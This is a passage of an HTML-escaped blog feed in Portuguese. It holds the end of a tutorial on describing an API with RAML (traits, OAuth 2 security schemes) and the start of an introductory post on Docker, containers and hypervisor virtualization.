        &lt;span class=&quot;token key atrule&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Através de &lt;code class=&quot;language-text&quot;&gt;traits&lt;/code&gt; somos capazes de escrever regras de uso que podem ser reaproveitadas por dados e recursos.
No exemplo acima, dizemos que recursos que utilizarem esse &lt;em&gt;trait&lt;/em&gt; terão como resposta o &lt;em&gt;status code&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;400&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Agora basta apontarmos nossos recursos ao &lt;em&gt;trait&lt;/em&gt; de nome &lt;code class=&quot;language-text&quot;&gt;dataValidation&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

&lt;span class=&quot;token key atrule&quot;&gt;/movies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

  &lt;span class=&quot;token key atrule&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;dataValidation&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

  (&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

  /&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  (&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

    &lt;span class=&quot;token key atrule&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;dataValidation&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Traits&lt;/em&gt; são extremamente úteis para descrever comportamentos que são comuns entre recursos (por exemplo, listagens
que possuem paginação). Outro conceito similar é o &lt;em&gt;Resource Types&lt;/em&gt;, no qual você pode ler mais sobre na &lt;a href=&quot;https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md/#declaration-resource-types-and-traits&quot; title=&quot;Resource Types and Traits&quot;&gt;documentação oficial&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Descrevendo a segurança&lt;/h2&gt;
&lt;p&gt;Para finalizar nosso exemplo. Vamos supor que o acesso à &lt;em&gt;API&lt;/em&gt; é limitado, e o usuário precisa ter uma
conta para acessá-la. Para não reinventar a roda, vamos supor que optamos pelo padrão &lt;a href=&quot;https://aaronparecki.com/oauth-2-simplified/&quot; title=&quot;OAuth 2 simplified&quot;&gt;&lt;em&gt;OAuth 2&lt;/em&gt;&lt;/a&gt;
para autenticação e autorização.&lt;/p&gt;
&lt;p&gt;Abaixo da propriedade &lt;code class=&quot;language-text&quot;&gt;mediaType&lt;/code&gt; vamos criar um novo bloco chamado &lt;code class=&quot;language-text&quot;&gt;securitySchemes&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

&lt;span class=&quot;token key atrule&quot;&gt;securitySchemes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;oauth_2_0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; We support OAuth 2.0 for authenticating all API requests.
    &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; OAuth 2.0
    &lt;span class=&quot;token key atrule&quot;&gt;describedBy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;Authorization&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
             Used to send a valid OAuth 2 access token. Do not use
             with the &quot;access_token&quot; query string parameter.&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
      &lt;span class=&quot;token key atrule&quot;&gt;queryParameters&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;access_token&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
             Used to send a valid OAuth 2 access token.
             Do not use with the &quot;Authorization&quot; header.&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
      &lt;span class=&quot;token key atrule&quot;&gt;responses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;401&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
              Bad or expired token. This can happen if the
              user or Movie API revoked or expired an access
              token. To fix, re-authenticate the user.&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;403&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
              Bad OAuth request (wrong consumer key, bad nonce,
              expired timestamp...). Unfortunately,
              re-authenticating the user won&apos;t help here.&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;settings&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;authorizationUri&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//www.movies.com/1/oauth2/authorize
      &lt;span class=&quot;token key atrule&quot;&gt;accessTokenUri&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//api.movies.com/1/oauth2/token
      &lt;span class=&quot;token key atrule&quot;&gt;authorizationGrants&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; authorization_code&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; implicit &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Serei sincero com você, caro leitor, o código acima é uma receita de bolo para descrever
o &lt;code class=&quot;language-text&quot;&gt;securitySchemes&lt;/code&gt; do tipo &lt;em&gt;OAuth 2&lt;/em&gt;. Nada de muito diferente do que a gente viu até aqui,
com exceção do uso do &lt;code class=&quot;language-text&quot;&gt;|&lt;/code&gt;, que nesse caso serve para fazer textos em bloco, e da
propriedade &lt;code class=&quot;language-text&quot;&gt;type&lt;/code&gt; com valor &lt;code class=&quot;language-text&quot;&gt;OAuth 2.0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;No nosso cenário, apenas temos intenção de proteger a escrita de dados na &lt;em&gt;API&lt;/em&gt;. Para tanto,
Vamos adicionar a propriedade &lt;code class=&quot;language-text&quot;&gt;securedBy&lt;/code&gt; aos blocos &lt;code class=&quot;language-text&quot;&gt;post&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;put&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

  &lt;span class=&quot;token key atrule&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;dataValidation&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;securedBy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;oauth_2_0&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

    &lt;span class=&quot;token key atrule&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;dataValidation&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;securedBy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;oauth_2_0&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! A especificação da nossa &lt;em&gt;API&lt;/em&gt; está completa! Temos uma documentação forte, que pode ser lida
por humanos e máquinas. Para fins didáticos não utilizei recursos
interessantes como a propriedade &lt;code class=&quot;language-text&quot;&gt;example&lt;/code&gt; ou a ferramenta &lt;code class=&quot;language-text&quot;&gt;!include&lt;/code&gt;. Mas você pode ler sobre
eles na &lt;a href=&quot;https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md&quot;&gt;especificação do &lt;em&gt;RAML&lt;/em&gt; 1.0&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/kplaube/post-raml/blob/8e580fa4d328a3f5f9e89e23d8b283ec04cf9637/api.raml&quot;&gt;Veja como ficou a versão final do nosso arquivo api.raml&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Através de uma linguagem clara fomos capazes de construir uma especificação legível para a nossa &lt;em&gt;API&lt;/em&gt;.
Com isso, outros desenvolvedores (ou até mesmo máquinas) serão capazes de entender como funciona cada &lt;em&gt;endpoint&lt;/em&gt;.
Com a adição de ferramentas como o &lt;a href=&quot;https://github.com/cybertk/abao&quot; title=&quot;REST API automated testing tool&quot;&gt;&lt;em&gt;Abao&lt;/em&gt;&lt;/a&gt;
e &lt;a href=&quot;https://github.com/raml2html/raml2html&quot; title=&quot;RAML to HTML documentation generator&quot;&gt;&lt;em&gt;raml2html&lt;/em&gt;&lt;/a&gt;, os resultados
do uso do &lt;em&gt;RAML&lt;/em&gt; podem ser surpreendentes, como no exemplo abaixo:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/7ff9fbba0eafbab830fbc156798eb2bd/6af66/example-raml.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 59.895833333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABp0lEQVQoz32SW4+aUBSF+atN31oD3oZDwQv8oT74YvrU147DFESc0NgKJkpjwIgXbsKBWTBtYrTpl8UJJGfttfcODMuyzWaz3W5zHMeyHNv4+Hn89Yu+VnXTepn/Bq57I3ez8T1PVVWm1WrBDyde2p0O/9B9mr64cbkL0zDNsrK8V0ppWZa24zCyLH+qEERRlBVFHg7VqbnYp9om0NzDj118L8uPfh2pbv1kRPgIGQwG/X4fJ8rMZmaYXo5hnBcldKHFjZIsR/LSthlCCAaGv9frwS8IgmmaNM+jMMwul6y6V9yI0sps20sGaZIkIldWMIECv2HM9vvA9/0dOCa0uCXP6+Rlbe50iSgNhhUoJBnTqed5cRzFeMKwqNdzDX1bGNpG3PsWecfxQk33oavr+nq9dhxnu91GUYyo/5k/8I0GYaUanucNwwiCoA6P85xmd6Rp+qdt9AqPQIRqYkXB2ubzOYZ9/Pb4/PzdcVbn8/lwOByvwCfqLhYLZngF/ChkWRYKn06nJEmy6jcp/9n2arWq2r4G+xuNRpqmqX95umMymeDCeDx+BYbpOfxvBF8pAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Exemplo de documentação gerada pelo raml2html&amp;quot;&quot;
        title=&quot;Exemplo de documentação gerada pelo raml2html&quot;
        src=&quot;/static/7ff9fbba0eafbab830fbc156798eb2bd/6af66/example-raml.png&quot;
        srcset=&quot;/static/7ff9fbba0eafbab830fbc156798eb2bd/8514f/example-raml.png 192w,
/static/7ff9fbba0eafbab830fbc156798eb2bd/804b2/example-raml.png 384w,
/static/7ff9fbba0eafbab830fbc156798eb2bd/6af66/example-raml.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de documentação gerada pelo raml2html&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md&quot;&gt;Github: RAML Version 1.0 specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.sitepoint.com/raml-restful-api-modeling-language/&quot;&gt;Sitepoint: RAML, the RESTful API modeling language&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Uma ode ao Docker - Parte 1]]></title><description><![CDATA[Virtualização é um dos assuntos que mais evoluiu nesses últimos anos de TI. Mas
foi o termo "containerização" que teve um "boom" de…]]></description><link>https://klauslaube.com.br/2017/01/14/uma-ode-ao-docker-parte-1.html</link><guid isPermaLink="false">https://klauslaube.com.br/2017/01/14/uma-ode-ao-docker-parte-1.html</guid><pubDate>Sat, 14 Jan 2017 18:20:00 GMT</pubDate><content:encoded>&lt;p&gt;Virtualização é um dos assuntos que mais evoluiu nesses últimos anos de TI. Mas
foi o termo &quot;containerização&quot; que teve um &quot;boom&quot; de popularidade recentemente. Isso graças
ao &lt;a href=&quot;https://www.docker.com/&quot; title=&quot;Build, ship, run&quot;&gt;&lt;em&gt;Docker&lt;/em&gt;&lt;/a&gt;, popular ferramenta que tem
tornado a virtualização/containerização em uma &lt;em&gt;commodity&lt;/em&gt; no universo de desenvolvimento de &lt;em&gt;Software&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Para ser sincero, eu só &quot;parei para olhar&quot; o &lt;em&gt;Docker&lt;/em&gt; no final do ano passado,
através de um
&lt;a href=&quot;https://www.udemy.com/docker-tutorial-for-devops-run-docker-containers/learn/v4/overview&quot; title=&quot;The Complete Docker Course for DevOps and Developers&quot;&gt;excelente curso do &lt;em&gt;Udemy&lt;/em&gt;&lt;/a&gt;.
Se você assim como eu ainda não teve tempo para ver &quot;qualé&quot;, vem comigo que eu te mostro :)&lt;/p&gt;
&lt;h2&gt;Antes do Docker: Containers&lt;/h2&gt;
&lt;p&gt;Eu só comecei a entender realmente o que era o &lt;em&gt;Docker&lt;/em&gt; a partir do momento
que compreendi o que é um container.&lt;/p&gt;
&lt;p&gt;No mundo &quot;pré-virtualização&quot;, quando lidávamos com problemas como escalabilidade ou isolamento,
precisávamos adquirir uma nova máquina física, instalar e configurar o Sistema Operacional,
bem como instalar e configurar a própria aplicação:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 400px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/d425cc1d35536371cd50cb1ee29f083f/e17e5/docker-pre-virtualization.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 72.91666666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC2UlEQVQoz2WQ21NSURTGz9/Ro01NNaPTZDimqZlXRkU0ES+pgXJRwEs44CjqAVEU8aAE4jkcQAVBDDWV1CNOD0kQ6TFRe0me+jvKWlrNKO75zZq9vu/be/ZeyN4PfONMtRXXbMbVCWyc9a6dKTfj6E3rfRzdjmsRK12q+nhLE7qjDt2+TpIlWoLvc4Y+3UNDSQkuKNrQfWQhJsYiOW+ixaZo4XWK5mmh71BuiZaaogUJ7lS0wBwtQajvBs+R9O2xfOn49VW8Mak7JnQdCTwxie+4K8EFxX+iQMivHE3o7mj4oS6c8p9kaMmDOusXFr5fRRxU6yOPR8LJVwIp0I6FUxHXaf34fsoknW6k07ADBlQjzYDWeyr0nLQsnPB939rMh7kYnXpp/QOjGVN0JkJF1txbNl9wdnHHuRSc9QWdvp0L3JR1gZrx7ODu7Wlf0LF4KYILG8BLOZZ255AZx2oPakV1pGoIN5g89vmAmfBbiGVyNoA71m3OdTO+YiVXZ+yr5NyGBV8eGLYB/VpCM+ZACNdKr86inrChBgLq8KRjCCN1U84hzK7ByJFJp3bSgY4ToGuNFwrEgMFxHFqkRT7CKOblVLZmscWZLNGTMkEas7lBiiq1pq4Bo7RX36EyyPoM2RWtGWVCyPzlabkojyNDBN0jaUzesxdtWWxRUW0Hm6cs5ynyuTJmfSe3VVUj7oc2p0JcwG0HN4MlyK4QAxDOr5YhIsVoeklzHkcKl9VLBsoa5Wyegs1XVvCV7f1Y56CxRT5cXNfZIEPrJYOVzT3whNyqNnhpYU078lKKPsipZTD5jwqbuCJVtaiPK1axmrqfcyQt3Tqxcowj7IUDZY3dxXUdcCPEUoteQYUPIoT7Xd/ojAazqyfIUfO8kfBiuGcYBgaTM9r10wuwHzTYwNJbXGoY2AQJSdRgAx35fWOd//r5ORIOhfY+7AY3AwGKopb9fpqmL6zz86vJP+ap7Ga+Wy/1AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Diagrama de era pré-virtualização (udemy.com)&amp;quot;&quot;
        title=&quot;Diagrama de era pré-virtualização (udemy.com)&quot;
        src=&quot;/static/d425cc1d35536371cd50cb1ee29f083f/e17e5/docker-pre-virtualization.png&quot;
        srcset=&quot;/static/d425cc1d35536371cd50cb1ee29f083f/8514f/docker-pre-virtualization.png 192w,
/static/d425cc1d35536371cd50cb1ee29f083f/804b2/docker-pre-virtualization.png 384w,
/static/d425cc1d35536371cd50cb1ee29f083f/e17e5/docker-pre-virtualization.png 400w&quot;
        sizes=&quot;(max-width: 400px) 100vw, 400px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Diagrama de era pré-virtualização (udemy.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Além do custo altíssimo para replicar a arquitetura acima, o tempo para solicitar uma
nova máquina e realizar uma possível migração eram absurdamente altos. Além disso,
há um incrível desperdício de recursos, já que não é necessário um &lt;em&gt;hardware&lt;/em&gt;
exclusivo para servir uma aplicação &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt; simples.&lt;/p&gt;
&lt;h3&gt;Hypervisor&lt;/h3&gt;
&lt;p&gt;O conceito de &lt;a href=&quot;/tag/virtualizacao.html&quot; title=&quot;Leia mais sobre virtualização&quot;&gt;máquina virtual&lt;/a&gt; vem bem a calhar para sanar o problema acima: Através de uma
configuração de &lt;em&gt;hardware&lt;/em&gt;, ser possível servir de forma isolada diferentes aplicações.&lt;/p&gt;
&lt;p&gt;Quando falamos de máquinas virtuais &lt;a href=&quot;/tag/virtualbox.html&quot; title=&quot;Leia mais sobre Virtualbox&quot;&gt;&lt;em&gt;Virtualbox&lt;/em&gt;&lt;/a&gt; ou &lt;em&gt;VMWare&lt;/em&gt;,
estamos nos referindo ao &lt;em&gt;Hypervisor-based Virtualization&lt;/em&gt;. Nessa modalidade temos uma ferramenta responsável
por abstrair diferentes Sistemas Operacionais funcionando dentro de um mesmo &lt;em&gt;hardware&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 400px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/b7427364000354866ddc3d4a700b811d/e17e5/docker-hypervisor-virtualization.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 125%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,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&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Diagrama de virtualização por hypervisor (udemy.com)&amp;quot;&quot;
        title=&quot;Diagrama de virtualização por hypervisor (udemy.com)&quot;
        src=&quot;/static/b7427364000354866ddc3d4a700b811d/e17e5/docker-hypervisor-virtualization.png&quot;
        srcset=&quot;/static/b7427364000354866ddc3d4a700b811d/8514f/docker-hypervisor-virtualization.png 192w,
/static/b7427364000354866ddc3d4a700b811d/804b2/docker-hypervisor-virtualization.png 384w,
